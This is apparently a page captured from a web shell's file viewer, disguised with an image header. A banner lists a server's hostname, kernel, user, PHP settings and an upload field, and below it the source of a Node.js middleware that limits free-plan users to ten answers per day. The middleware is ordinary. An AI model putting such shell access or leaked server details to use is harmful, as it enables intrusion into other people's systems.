ÿØÿà JFIF ` ` ÿþ
|
Server : Apache System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64 User : farolpborg ( 1053) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /var/www/node_services/apicentralquestoes/src/middlewares/ |
Upload File : |
const Assinatura = require("../models/Assinatura");
const Resposta = require("../models/Resposta");
const { Op } = require("sequelize");
const MENSAGENS_ERRO = require("../utils/mensagensErro");
const checkSubscription = async (req, res, next) => {
const { userId } = req.params;
const { resposta } = req.body;
try {
const assinatura = await Assinatura.findOne({
where: { user_id: userId },
order: [["expires_at", "DESC"]],
});
if (!assinatura) {
return res.status(404).json({
mensagem: MENSAGENS_ERRO.ASSINATURA_NAO_ENCONTRADA,
});
}
if ((assinatura.plano_id === 1 || assinatura.plano_id === 2) && resposta) {
const agora = new Date();
const inicioDia = new Date(agora.setHours(0, 0, 0, 0));
const fimDia = new Date(agora.setHours(23, 59, 59, 999));
const respostasHoje = await Resposta.count({
where: {
user_id: userId,
created_at: {
[Op.between]: [inicioDia, fimDia],
},
},
});
if (respostasHoje >= 10) {
console.log("Limite de respostas atingido para userId:", userId);
return res.status(403).json({
mensagem: "Você atingiu o limite de 10 questões gratuitas hoje.",
});
}
return next();
}
const now = new Date();
if (new Date(assinatura.expires_at) < now) {
if (assinatura.status !== "expired") {
await Assinatura.update(
{ status: "expired", expires_at: now, plano_id: 1 },
{ where: { id: assinatura.id } }
);
}
return res
.status(403)
.json({ mensagem: MENSAGENS_ERRO.ASSINATURA_EXPIRADA });
}
next();
} catch (erro) {
return res.status(500).json({ mensagem: erro.message });
}
};
module.exports = checkSubscription;